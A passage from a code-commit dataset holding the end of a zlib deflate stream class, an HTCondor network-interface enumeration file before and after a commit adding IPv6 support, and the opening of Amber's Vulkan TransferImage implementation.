buffer.Write();\n if (w.empty() && TryWrite() > 0)\n w = buffer.Write();\n\n return w.ToVoid();\n }\n\n void TryFlush() noexcept;\n\n \/**\n * Read from our input until we have submitted some bytes to our\n * istream handler.\n *\/\n void ForceRead() noexcept;\n\n void TryFinish() noexcept;\n\n \/* virtual methods from class Istream *\/\n\n void _Read() noexcept override {\n if (!buffer.empty())\n TryWrite();\n else if (HasInput())\n ForceRead();\n else\n TryFinish();\n }\n\n void _Close() noexcept override {\n if (HasInput())\n input.Close();\n\n Destroy();\n }\n\n \/* virtual methods from class IstreamHandler *\/\n size_t OnData(const void *data, size_t length) noexcept override;\n void OnEof() noexcept override;\n void OnError(std::exception_ptr ep) noexcept override;\n\nprivate:\n int GetWindowBits() const noexcept {\n return MAX_WBITS + gzip * 16;\n }\n\n void OnDeferred() noexcept {\n assert(HasInput());\n\n ForceRead();\n }\n};\n\nstatic voidpf\nz_alloc(voidpf opaque, uInt items, uInt size) noexcept\n{\n struct pool *pool = (struct pool *)opaque;\n\n return p_malloc(pool, items * size);\n}\n\nstatic void\nz_free(voidpf opaque, voidpf address) noexcept\n{\n (void)opaque;\n (void)address;\n}\n\nbool\nDeflateIstream::InitZlib() noexcept\n{\n if (z_initialized)\n return true;\n\n z.zalloc = z_alloc;\n z.zfree = z_free;\n z.opaque = &GetPool();\n\n int err = deflateInit2(&z, Z_DEFAULT_COMPRESSION,\n Z_DEFLATED, GetWindowBits(), 8,\n Z_DEFAULT_STRATEGY);\n if (err != Z_OK) {\n Abort(err, \"deflateInit2() failed\");\n return false;\n }\n\n z_initialized = true;\n return true;\n}\n\nsize_t\nDeflateIstream::TryWrite() noexcept\n{\n auto r = buffer.Read();\n assert(!r.empty());\n\n size_t nbytes = InvokeData(r.data, r.size);\n if (nbytes == 0)\n return 0;\n\n buffer.Consume(nbytes);\n buffer.FreeIfEmpty();\n\n if (nbytes == r.size && !HasInput() && z_stream_end) {\n DestroyEof();\n return 0;\n }\n\n return nbytes;\n}\n\ninline void\nDeflateIstream::TryFlush() noexcept\n{\n assert(!z_stream_end);\n\n auto w = BufferWrite();\n if (w.empty())\n return;\n\n z.next_out = (Bytef *)w.data;\n z.avail_out = (uInt)w.size;\n\n z.next_in = nullptr;\n z.avail_in = 0;\n\n int err = deflate(&z, Z_SYNC_FLUSH);\n if (err != Z_OK) {\n Abort(err, \"deflate(Z_SYNC_FLUSH) failed\");\n return;\n }\n\n buffer.Append(w.size - (size_t)z.avail_out);\n\n if (!buffer.empty())\n TryWrite();\n}\n\ninline void\nDeflateIstream::ForceRead() noexcept\n{\n assert(!reading);\n\n const DestructObserver destructed(*this);\n\n bool had_input2 = false;\n had_output = false;\n\n while (1) {\n had_input = false;\n reading = true;\n input.Read();\n if (destructed)\n return;\n\n reading = false;\n if (!HasInput() || had_output)\n return;\n\n if (!had_input)\n break;\n\n had_input2 = true;\n }\n\n if (had_input2)\n TryFlush();\n}\n\nvoid\nDeflateIstream::TryFinish() noexcept\n{\n assert(!z_stream_end);\n\n auto w = BufferWrite();\n if (w.empty())\n return;\n\n z.next_out = (Bytef *)w.data;\n z.avail_out = (uInt)w.size;\n\n z.next_in = nullptr;\n z.avail_in = 0;\n\n int err = deflate(&z, Z_FINISH);\n if (err == Z_STREAM_END)\n z_stream_end = true;\n else if (err != Z_OK) {\n Abort(err, \"deflate(Z_FINISH) failed\");\n return;\n }\n\n buffer.Append(w.size - (size_t)z.avail_out);\n\n if (z_stream_end && buffer.empty()) {\n DestroyEof();\n } else\n TryWrite();\n}\n\n\n\/*\n * istream handler\n *\n *\/\n\nsize_t\nDeflateIstream::OnData(const void *data, size_t length) noexcept\n{\n assert(HasInput());\n\n auto w = BufferWrite();\n if (w.size < 64) \/* reserve space for end-of-stream marker *\/\n return 0;\n\n if (!InitZlib())\n return 0;\n\n had_input = true;\n\n if (!reading)\n had_output = false;\n\n z.next_out = (Bytef *)w.data;\n z.avail_out = (uInt)w.size;\n\n z.next_in = (Bytef *)const_cast<void *>(data);\n z.avail_in = (uInt)length;\n\n do {\n auto err = deflate(&z, Z_NO_FLUSH);\n if (err != Z_OK) {\n Abort(err, \"deflate() failed\");\n return 0;\n }\n\n size_t nbytes = w.size - (size_t)z.avail_out;\n if (nbytes > 0) {\n had_output = true;\n buffer.Append(nbytes);\n\n const DestructObserver destructed(*this);\n TryWrite();\n if (destructed)\n return 0;\n } else\n break;\n\n w = BufferWrite();\n if (w.size < 64) \/* reserve space for end-of-stream marker *\/\n break;\n\n z.next_out = (Bytef *)w.data;\n z.avail_out = (uInt)w.size;\n } while (z.avail_in > 0);\n\n if (!reading && !had_output)\n \/* we received data from our input, but we did not produce any\n output (and we're not looping inside ForceRead()) - to\n avoid stalling the stream, trigger the DeferEvent *\/\n defer.Schedule();\n\n return length - (size_t)z.avail_in;\n}\n\nvoid\nDeflateIstream::OnEof() noexcept\n{\n ClearInput();\n defer.Cancel();\n\n if (!InitZlib())\n return;\n\n TryFinish();\n}\n\nvoid\nDeflateIstream::OnError(std::exception_ptr ep) noexcept\n{\n ClearInput();\n\n DestroyError(ep);\n}\n\n\/*\n * constructor\n *\n *\/\n\nUnusedIstreamPtr\nistream_deflate_new(struct pool &pool, UnusedIstreamPtr input,\n EventLoop &event_loop, bool gzip) noexcept\n{\n return NewIstreamPtr<DeflateIstream>(pool, std::move(input),\n event_loop, gzip);\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License. You may\n * obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n#include \"condor_common.h\"\n#include \"condor_debug.h\"\n\n#include \"sysapi.h\"\n#include \"sysapi_externs.h\"\n\n#include \"condor_sockaddr.h\"\n\n\nstatic bool net_devices_cached = false;\nstatic std::vector<NetworkDeviceInfo> net_devices_cache;\n\n#if WIN32\n\n#include <Ws2ipdef.h>\n\nbool sysapi_get_network_device_info_raw(std::vector<NetworkDeviceInfo> &devices)\n{\n\tint i,num_interfaces=0,max_interfaces=20;\n\tLPINTERFACE_INFO interfaces=NULL;\n\tDWORD bytes_out=0;\n\tSOCKET sock;\n\n\tsock = socket(AF_INET, SOCK_DGRAM, 0);\n\tif( sock == INVALID_SOCKET ) {\n\t\tdprintf(D_ALWAYS,\"sysapi_get_network_device_info_raw: socket() failed: (errno %d)\\n\",\n\t\t\t\tWSAGetLastError());\n\t\treturn false;\n\t}\n\n\twhile( true ) {\n\t\tinterfaces = new INTERFACE_INFO[max_interfaces];\n\n\t\tint rc = WSAIoctl(\n\t\t\tsock,\n\t\t\tSIO_GET_INTERFACE_LIST,\n\t\t\tNULL,\n\t\t\t0,\n\t\t\tinterfaces,\n\t\t\tsizeof(INTERFACE_INFO)*max_interfaces,\n\t\t\t&bytes_out,\n\t\t\tNULL,\n\t\t\tNULL);\n\n\t\tif( rc == 0 ) { \/\/ success\n\t\t\tnum_interfaces = bytes_out\/sizeof(INTERFACE_INFO);\n\t\t\tbreak;\n\t\t}\n\n\t\tdelete [] interfaces;\n\n\t\tint error = WSAGetLastError();\n\t\tif( error == WSAEFAULT ) { \/\/ not enough space in buffer\n\t\t\tmax_interfaces *= 2;\n\t\t\tcontinue;\n\t\t}\n\t\tdprintf(D_ALWAYS,\"SIO_GET_INTERFACE_LIST failed: %d\\n\",error);\n\t\tclosesocket(sock);\n\t\treturn false;\n\t}\n\n\tfor(i=0;i<num_interfaces;i++) {\n\t\tchar const *ip = NULL;\n\t\tif( interfaces[i].iiAddress.Address.sa_family == AF_INET ) {\n\t\t\tip = inet_ntoa(((struct sockaddr_in *)&interfaces[i].iiAddress)->sin_addr);\n\t\t}\n\t\tif( ip ) {\n\t\t\tNetworkDeviceInfo inf(\"\",ip);\n\t\t\tdevices.push_back(inf);\n\t\t}\n\t}\n\n\tdelete [] interfaces;\n\tclosesocket(sock);\n\treturn true;\n}\n\n#elif HAVE_GETIFADDRS\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <ifaddrs.h>\n\nbool sysapi_get_network_device_info_raw(std::vector<NetworkDeviceInfo> &devices)\n{\n\tstruct ifaddrs *ifap_list=NULL;\n\tif( getifaddrs(&ifap_list) == -1 ) {\n\t\tdprintf(D_ALWAYS,\"getifaddrs failed: errno=%d: %s\\n\",errno,strerror(errno));\n\t\treturn false;\n\t}\n\tstruct ifaddrs *ifap=ifap_list;\n\tchar ip_buf[INET6_ADDRSTRLEN];\n\tfor(ifap=ifap_list;\n\t\tifap;\n\t\tifap=ifap->ifa_next)\n\t{\n\t\tconst char* ip = NULL;\n\t\tchar const *name = ifap->ifa_name;\n\t\tif( ifap->ifa_addr && ifap->ifa_addr->sa_family == AF_INET ) {\n\t\t\tcondor_sockaddr addr(ifap->ifa_addr);\n\t\t\tip = addr.to_ip_string(ip_buf, INET6_ADDRSTRLEN);\n\t\t}\n\t\tif( ip ) {\n\t\t\tNetworkDeviceInfo inf(name,ip);\n\t\t\tdevices.push_back(inf);\n\t\t}\n\t}\n\tfreeifaddrs(ifap_list);\n\n\treturn true;\n}\n\n#elif defined(SIOCGIFCONF)\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <sys\/ioctl.h>\n#include <net\/if.h>\n\nbool sysapi_get_network_device_info_raw(std::vector<NetworkDeviceInfo> &devices)\n{\n\tint sock = socket(AF_INET, SOCK_DGRAM, 0);\n\tif( sock == -1 ) {\n\t\tdprintf(D_ALWAYS,\"sysapi_get_network_device_info_raw: socket() failed: (errno %d) %s\\n\",\n\t\t\t\terrno,strerror(errno));\n\t\treturn false;\n\t}\n\n\tstruct ifconf ifc,prev;\n\tmemset(&ifc, 0, sizeof(ifc));\n\n\tconst int max_interfaces = 10000;\n\tint num_interfaces;\n\tfor(num_interfaces=100;num_interfaces<max_interfaces;num_interfaces+=100) {\n\t\tprev.ifc_len = ifc.ifc_len;\n\t\tifc.ifc_len = num_interfaces*sizeof(struct ifreq);\n\n\t\tifc.ifc_req = (struct ifreq *)malloc(ifc.ifc_len);\n\n\t\tif( ifc.ifc_req == NULL ) {\n\t\t\tdprintf(D_ALWAYS,\"sysapi_get_network_device_info_raw: out of memory\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\t\/\/ EINVAL (on some platforms) indicates that the buffer\n\t\t\t\/\/ is not large enough\n\t\tif( ioctl(sock, SIOCGIFCONF, &ifc) < 0 && errno != EINVAL ) {\n\t\t\tdprintf(D_ALWAYS,\"sysapi_get_network_device_info_raw: ioctlsocket() failed after allocating buffer: (errno %d) %s\\n\",\n\t\t\t\t\terrno,strerror(errno));\n\t\t\tfree( ifc.ifc_req );\n\t\t\treturn false;\n\t\t}\n\n\t\tif( ifc.ifc_len == prev.ifc_len ) {\n\t\t\t\t\/\/ Getting the same length in successive calls to\n\t\t\t\t\/\/ SIOCGIFCONF is the only reliable way to know that\n\t\t\t\t\/\/ the buffer was big enough, because some\n\t\t\t\t\/\/ implementations silently return truncated results\n\t\t\t\t\/\/ if the buffer isn't big enough.\n\t\t\tbreak;\n\t\t}\n\t\tfree( ifc.ifc_req );\n\t\tifc.ifc_req = NULL;\n\t}\n\tif( num_interfaces > max_interfaces ) {\n\t\t\t\/\/ something must be going wrong\n\t\tdprintf(D_ALWAYS,\"sysapi_get_network_device_info_raw: unexpectedly large SIOCGIFCONF buffer: %d (errno=%d)\\n\",num_interfaces,errno);\n\t\treturn false;\n\t}\n\n\tnum_interfaces = ifc.ifc_len\/sizeof(struct ifreq);\n\n\tchar ip_buf[INET6_ADDRSTRLEN];\n\tint i;\n\tfor(i=0; i<num_interfaces; i++) {\n\t\tstruct ifreq *ifr = &ifc.ifc_req[i];\n\t\tchar const *name = ifr->ifr_name;\n\t\tconst char* ip = NULL;\n\n\t\tif( ifr->ifr_addr.sa_family == AF_INET ||ifr->ifr_addr.sa_family == AF_INET6 ) {\n\t\t\tcondor_sockaddr addr(&ifr->ifr_addr);\n\t\t\tip = addr.to_ip_string(ip_buf, INET6_ADDRSTRLEN);\n\t\t}\n\t\tif( ip ) {\n\t\t\tNetworkDeviceInfo inf(name,ip);\n\t\t\tdevices.push_back(inf);\n\t\t}\n\t}\n\tfree( ifc.ifc_req );\n\n\treturn true;\n}\n\n#else\n\n#error sysapi_get_network_device_info() must be implemented for this platform\n\n#endif\n\nbool sysapi_get_network_device_info(std::vector<NetworkDeviceInfo> &devices)\n{\n\tif( net_devices_cached ) {\n\t\tdevices = net_devices_cache;\n\t\treturn true;\n\t}\n\n\tbool rc = sysapi_get_network_device_info_raw(devices);\n\n\tif( rc ) {\n\t\tnet_devices_cached = true;\n\t\tnet_devices_cache = devices;\n\t}\n\treturn rc;\n}\n\nvoid sysapi_clear_network_device_info_cache() {\n\tnet_devices_cached = false;\n}\n<commit_msg>sysapi_get_network_device_nifo_raw is now allowed to return IPv6 devices. Not user facing.<commit_after>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License. You may\n * obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n#include \"condor_common.h\"\n#include \"condor_debug.h\"\n\n#include \"sysapi.h\"\n#include \"sysapi_externs.h\"\n\n#include \"condor_sockaddr.h\"\n\n\nstatic bool net_devices_cached = false;\nstatic std::vector<NetworkDeviceInfo> net_devices_cache;\n\n#if WIN32\n\n#include <Ws2ipdef.h>\n\nbool sysapi_get_network_device_info_raw(std::vector<NetworkDeviceInfo> &devices)\n{\n\tint i,num_interfaces=0,max_interfaces=20;\n\tLPINTERFACE_INFO interfaces=NULL;\n\tDWORD bytes_out=0;\n\tSOCKET sock;\n\n\tsock = socket(AF_INET, SOCK_DGRAM, 0);\n\tif( sock == INVALID_SOCKET ) {\n\t\tdprintf(D_ALWAYS,\"sysapi_get_network_device_info_raw: socket() failed: (errno %d)\\n\",\n\t\t\t\tWSAGetLastError());\n\t\treturn false;\n\t}\n\n\twhile( true ) {\n\t\tinterfaces = new INTERFACE_INFO[max_interfaces];\n\n\t\tint rc = WSAIoctl(\n\t\t\tsock,\n\t\t\tSIO_GET_INTERFACE_LIST,\n\t\t\tNULL,\n\t\t\t0,\n\t\t\tinterfaces,\n\t\t\tsizeof(INTERFACE_INFO)*max_interfaces,\n\t\t\t&bytes_out,\n\t\t\tNULL,\n\t\t\tNULL);\n\n\t\tif( rc == 0 ) { \/\/ success\n\t\t\tnum_interfaces = bytes_out\/sizeof(INTERFACE_INFO);\n\t\t\tbreak;\n\t\t}\n\n\t\tdelete [] interfaces;\n\n\t\tint error = WSAGetLastError();\n\t\tif( error == WSAEFAULT ) { \/\/ not enough space in buffer\n\t\t\tmax_interfaces *= 2;\n\t\t\tcontinue;\n\t\t}\n\t\tdprintf(D_ALWAYS,\"SIO_GET_INTERFACE_LIST failed: %d\\n\",error);\n\t\tclosesocket(sock);\n\t\treturn false;\n\t}\n\n\tfor(i=0;i<num_interfaces;i++) {\n\t\tchar const *ip = NULL;\n\t\tif( interfaces[i].iiAddress.Address.sa_family == AF_INET ) {\n\t\t\tip = inet_ntoa(((struct sockaddr_in *)&interfaces[i].iiAddress)->sin_addr);\n\t\t}\n\t\tif( ip ) {\n\t\t\tNetworkDeviceInfo inf(\"\",ip);\n\t\t\tdevices.push_back(inf);\n\t\t}\n\t}\n\n\tdelete [] interfaces;\n\tclosesocket(sock);\n\treturn true;\n}\n\n#elif HAVE_GETIFADDRS\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <ifaddrs.h>\n\nbool sysapi_get_network_device_info_raw(std::vector<NetworkDeviceInfo> &devices)\n{\n\tstruct ifaddrs *ifap_list=NULL;\n\tif( getifaddrs(&ifap_list) == -1 ) {\n\t\tdprintf(D_ALWAYS,\"getifaddrs failed: errno=%d: %s\\n\",errno,strerror(errno));\n\t\treturn false;\n\t}\n\tstruct ifaddrs *ifap=ifap_list;\n\tchar ip_buf[INET6_ADDRSTRLEN];\n\tfor(ifap=ifap_list;\n\t\tifap;\n\t\tifap=ifap->ifa_next)\n\t{\n\t\tconst char* ip = NULL;\n\t\tchar const *name = ifap->ifa_name;\n\t\tif( ifap->ifa_addr &&\n\t\t\t(ifap->ifa_addr->sa_family == AF_INET ||\n\t\t\tifap->ifa_addr->sa_family == AF_INET6)\n\t\t\t) {\n\t\t\tcondor_sockaddr addr(ifap->ifa_addr);\n\t\t\tip = addr.to_ip_string(ip_buf, INET6_ADDRSTRLEN);\n\t\t}\n\t\tif( ip ) {\n\t\t\tNetworkDeviceInfo inf(name,ip);\n\t\t\tdevices.push_back(inf);\n\t\t}\n\t}\n\tfreeifaddrs(ifap_list);\n\n\treturn true;\n}\n\n#elif defined(SIOCGIFCONF)\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <sys\/ioctl.h>\n#include <net\/if.h>\n\nbool sysapi_get_network_device_info_raw(std::vector<NetworkDeviceInfo> &devices)\n{\n\tint sock = socket(AF_INET, SOCK_DGRAM, 0);\n\tif( sock == -1 ) {\n\t\tdprintf(D_ALWAYS,\"sysapi_get_network_device_info_raw: socket() failed: (errno %d) %s\\n\",\n\t\t\t\terrno,strerror(errno));\n\t\treturn false;\n\t}\n\n\tstruct ifconf ifc,prev;\n\tmemset(&ifc, 0, sizeof(ifc));\n\n\tconst int max_interfaces = 10000;\n\tint num_interfaces;\n\tfor(num_interfaces=100;num_interfaces<max_interfaces;num_interfaces+=100) {\n\t\tprev.ifc_len = ifc.ifc_len;\n\t\tifc.ifc_len = num_interfaces*sizeof(struct ifreq);\n\n\t\tifc.ifc_req = (struct ifreq *)malloc(ifc.ifc_len);\n\n\t\tif( ifc.ifc_req == NULL ) {\n\t\t\tdprintf(D_ALWAYS,\"sysapi_get_network_device_info_raw: out of memory\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\t\/\/ EINVAL (on some platforms) indicates that the buffer\n\t\t\t\/\/ is not large enough\n\t\tif( ioctl(sock, SIOCGIFCONF, &ifc) < 0 && errno != EINVAL ) {\n\t\t\tdprintf(D_ALWAYS,\"sysapi_get_network_device_info_raw: ioctlsocket() failed after allocating buffer: (errno %d) %s\\n\",\n\t\t\t\t\terrno,strerror(errno));\n\t\t\tfree( ifc.ifc_req );\n\t\t\treturn false;\n\t\t}\n\n\t\tif( ifc.ifc_len == prev.ifc_len ) {\n\t\t\t\t\/\/ Getting the same length in successive calls to\n\t\t\t\t\/\/ SIOCGIFCONF is the only reliable way to know that\n\t\t\t\t\/\/ the buffer was big enough, because some\n\t\t\t\t\/\/ implementations silently return truncated results\n\t\t\t\t\/\/ if the buffer isn't big enough.\n\t\t\tbreak;\n\t\t}\n\t\tfree( ifc.ifc_req );\n\t\tifc.ifc_req = NULL;\n\t}\n\tif( num_interfaces > max_interfaces ) {\n\t\t\t\/\/ something must be going wrong\n\t\tdprintf(D_ALWAYS,\"sysapi_get_network_device_info_raw: unexpectedly large SIOCGIFCONF buffer: %d (errno=%d)\\n\",num_interfaces,errno);\n\t\treturn false;\n\t}\n\n\tnum_interfaces = ifc.ifc_len\/sizeof(struct ifreq);\n\n\tchar ip_buf[INET6_ADDRSTRLEN];\n\tint i;\n\tfor(i=0; i<num_interfaces; i++) {\n\t\tstruct ifreq *ifr = &ifc.ifc_req[i];\n\t\tchar const *name = ifr->ifr_name;\n\t\tconst char* ip = NULL;\n\n\t\tif( ifr->ifr_addr.sa_family == AF_INET ||ifr->ifr_addr.sa_family == AF_INET6 ) {\n\t\t\tcondor_sockaddr addr(&ifr->ifr_addr);\n\t\t\tip = addr.to_ip_string(ip_buf, INET6_ADDRSTRLEN);\n\t\t}\n\t\tif( ip ) {\n\t\t\tNetworkDeviceInfo inf(name,ip);\n\t\t\tdevices.push_back(inf);\n\t\t}\n\t}\n\tfree( ifc.ifc_req );\n\n\treturn true;\n}\n\n#else\n\n#error sysapi_get_network_device_info() must be implemented for this platform\n\n#endif\n\nbool sysapi_get_network_device_info(std::vector<NetworkDeviceInfo> &devices)\n{\n\tif( net_devices_cached ) {\n\t\tdevices = net_devices_cache;\n\t\treturn true;\n\t}\n\n\tbool rc = sysapi_get_network_device_info_raw(devices);\n\n\tif( rc ) {\n\t\tnet_devices_cached = true;\n\t\tnet_devices_cache = devices;\n\t}\n\treturn rc;\n}\n\nvoid sysapi_clear_network_device_info_cache() {\n\tnet_devices_cached = false;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2018 The Amber Authors.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"src\/vulkan\/transfer_image.h\"\n\n#include <cstring>\n#include <limits>\n#include <vector>\n\n#include \"src\/vulkan\/command_buffer.h\"\n#include \"src\/vulkan\/device.h\"\n\nnamespace amber {\nnamespace vulkan {\nnamespace {\n\nconst VkImageCreateInfo kDefaultImageInfo = {\n VK_STRUCTURE_TYPE_IMAGE_CREATE_INFO, \/* sType *\/\n nullptr, \/* pNext *\/\n 0, \/* flags *\/\n VK_IMAGE_TYPE_2D, \/* imageType *\/\n VK_FORMAT_R8G8B8A8_UNORM, \/* format *\/\n {250, 250, 1}, \/* extent *\/\n 1, \/* mipLevels *\/\n 1, \/* arrayLayers *\/\n VK_SAMPLE_COUNT_1_BIT, \/* samples *\/\n VK_IMAGE_TILING_OPTIMAL, \/* tiling *\/\n 0, \/* usage *\/\n VK_SHARING_MODE_EXCLUSIVE, \/* sharingMode *\/\n 0, \/* queueFamilyIndexCount *\/\n nullptr, \/* pQueueFamilyIndices *\/\n VK_IMAGE_LAYOUT_UNDEFINED, \/* initialLayout *\/\n};\n\nVkSampleCountFlagBits GetVkSampleCount(uint32_t samples) {\n switch (samples) {\n case 1u:\n return VK_SAMPLE_COUNT_1_BIT;\n case 2u:\n return VK_SAMPLE_COUNT_2_BIT;\n case 4u:\n return VK_SAMPLE_COUNT_4_BIT;\n case 8u:\n return VK_SAMPLE_COUNT_8_BIT;\n case 16u:\n return VK_SAMPLE_COUNT_16_BIT;\n case 32u:\n return VK_SAMPLE_COUNT_32_BIT;\n case 64u:\n return VK_SAMPLE_COUNT_64_BIT;\n }\n\n return VK_SAMPLE_COUNT_FLAG_BITS_MAX_ENUM;\n}\n\n} \/\/ namespace\n\nTransferImage::TransferImage(Device* device,\n const Format& format,\n VkImageAspectFlags aspect,\n VkImageType image_type,\n uint32_t x,\n uint32_t y,\n uint32_t z,\n uint32_t mip_levels,\n uint32_t base_mip_level,\n uint32_t used_mip_levels,\n uint32_t samples)\n : Resource(device, x * y * z * format.SizeInBytes()),\n image_info_(kDefaultImageInfo),\n aspect_(aspect),\n mip_levels_(mip_levels),\n base_mip_level_(base_mip_level),\n used_mip_levels_(used_mip_levels),\n samples_(samples) {\n image_info_.format = device_->GetVkFormat(format);\n image_info_.imageType = image_type;\n image_info_.extent = {x, y, z};\n image_info_.mipLevels = mip_levels;\n image_info_.samples = GetVkSampleCount(samples);\n}\n\nTransferImage::~TransferImage() {\n if (view_ != VK_NULL_HANDLE) {\n device_->GetPtrs()->vkDestroyImageView(device_->GetVkDevice(), view_,\n nullptr);\n }\n\n if (image_ != VK_NULL_HANDLE)\n device_->GetPtrs()->vkDestroyImage(device_->GetVkDevice(), image_, nullptr);\n\n if (memory_ != VK_NULL_HANDLE)\n device_->GetPtrs()->vkFreeMemory(device_->GetVkDevice(), memory_, nullptr);\n\n if (host_accessible_memory_ != VK_NULL_HANDLE) {\n UnMapMemory(host_accessible_memory_);\n device_->GetPtrs()->vkFreeMemory(device_->GetVkDevice(),\n host_accessible_memory_, nullptr);\n }\n\n if (host_accessible_buffer_ != VK_NULL_HANDLE) {\n device_->GetPtrs()->vkDestroyBuffer(device_->GetVkDevice(),\n host_accessible_buffer_, nullptr);\n }\n}\n\nResult TransferImage::Initialize(VkImageUsageFlags usage) {\n if (image_ != VK_NULL_HANDLE)\n return Result(\"Vulkan::TransferImage was already initialized\");\n\n image_info_.usage = usage;\n\n if (device_->GetPtrs()->vkCreateImage(device_->GetVkDevice(), &image_info_,\n nullptr, &image_) != VK_SUCCESS) {\n return Result(\"Vulkan::Calling vkCreateImage Fail\");\n }\n\n uint32_t memory_type_index = 0;\n Result r = AllocateAndBindMemoryToVkImage(image_, &memory_,\n VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT,\n false, &memory_type_index);\n if (!r.IsSuccess())\n return r;\n\n if (aspect_ & (VK_IMAGE_ASPECT_DEPTH_BIT | VK_IMAGE_ASPECT_STENCIL_BIT) &&\n !(usage & VK_IMAGE_USAGE_DEPTH_STENCIL_ATTACHMENT_BIT)) {\n \/\/ Combined depth\/stencil image used as a descriptor. Only one aspect can be\n \/\/ used for the image view.\n r = CreateVkImageView(VK_IMAGE_ASPECT_DEPTH_BIT);\n } else {\n r = CreateVkImageView(aspect_);\n }\n\n if (!r.IsSuccess())\n return r;\n\n \/\/ For images, we always make a secondary buffer. When the tiling of an image\n \/\/ is optimal, read\/write data from CPU does not show correct values. We need\n \/\/ a secondary buffer to convert the GPU-optimal data to CPU-readable data\n \/\/ and vice versa.\n r = CreateVkBuffer(\n &host_accessible_buffer_,\n VK_BUFFER_USAGE_TRANSFER_SRC_BIT | VK_BUFFER_USAGE_TRANSFER_DST_BIT);\n if (!r.IsSuccess())\n return r;\n\n memory_type_index = 0;\n r = AllocateAndBindMemoryToVkBuffer(host_accessible_buffer_,\n &host_accessible_memory_,\n VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT |\n VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,\n true, &memory_type_index);\n if (!r.IsSuccess())\n return r;\n\n return MapMemory(host_accessible_memory_);\n}\n\nVkImageViewType TransferImage::GetImageViewType() const {\n \/\/ TODO(alan-baker): handle other view types.\n \/\/ 1D-array, 2D-array, Cube, Cube-array.\n switch (image_info_.imageType) {\n case VK_IMAGE_TYPE_1D:\n return VK_IMAGE_VIEW_TYPE_1D;\n case VK_IMAGE_TYPE_2D:\n return VK_IMAGE_VIEW_TYPE_2D;\n case VK_IMAGE_TYPE_3D:\n return VK_IMAGE_VIEW_TYPE_3D;\n default:\n break;\n }\n\n \/\/ Default to 2D image view.\n return VK_IMAGE_VIEW_TYPE_2D;\n}\n\nResult TransferImage::CreateVkImageView(VkImageAspectFlags aspect) {\n VkImageViewCreateInfo image_view_info = VkImageViewCreateInfo();\n image_view_info.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO;\n image_view_info.image = image_;\n image_view_info.viewType = GetImageViewType();\n image_view_info.format = image_info_.format;\n image_view_info.components = {\n VK_COMPONENT_SWIZZLE_R,\n VK_COMPONENT_SWIZZLE_G,\n VK_COMPONENT_SWIZZLE_B,\n VK_COMPONENT_SWIZZLE_A,\n };\n image_view_info.subresourceRange = {\n aspect, \/* aspectMask *\/\n base_mip_level_, \/* baseMipLevel *\/\n used_mip_levels_, \/* levelCount *\/\n 0, \/* baseArrayLayer *\/\n 1, \/* layerCount *\/\n };\n\n if (device_->GetPtrs()->vkCreateImageView(device_->GetVkDevice(),\n &image_view_info, nullptr,\n &view_) != VK_SUCCESS) {\n return Result(\"Vulkan::Calling vkCreateImageView Fail\");\n }\n\n return {};\n}\n\nVkBufferImageCopy TransferImage::CreateBufferImageCopy(\n VkImageAspectFlags aspect,\n uint32_t mip_level) {\n VkBufferImageCopy copy_region = VkBufferImageCopy();\n if (aspect == VK_IMAGE_ASPECT_STENCIL_BIT) {\n \/\/ Store stencil data at the end of the buffer after depth data.\n copy_region.bufferOffset =\n GetSizeInBytes() - image_info_.extent.width * image_info_.extent.height;\n } else {\n copy_region.bufferOffset = 0;\n }\n \/\/ Row length of 0 results in tight packing of rows, so the row stride\n \/\/ is the number of texels times the texel stride.\n copy_region.bufferRowLength = 0;\n copy_region.bufferImageHeight = 0;\n copy_region.imageSubresource = {\n aspect, \/* aspectMask *\/\n mip_level, \/* mipLevel *\/\n 0, \/* baseArrayLayer *\/\n 1, \/* layerCount *\/\n };\n copy_region.imageOffset = {0, 0, 0};\n copy_region.imageExtent = {image_info_.extent.width >> mip_level,\n image_info_.extent.height >> mip_level,\n image_info_.extent.depth};\n return copy_region;\n}\n\nvoid TransferImage::CopyToHost(CommandBuffer* command_buffer) {\n const VkImageAspectFlagBits aspects[] = {VK_IMAGE_ASPECT_COLOR_BIT,\n VK_IMAGE_ASPECT_DEPTH_BIT,\n VK_IMAGE_ASPECT_STENCIL_BIT};\n \/\/ Copy operations don't support multisample images.\n if (samples_ > 1)\n return;\n\n 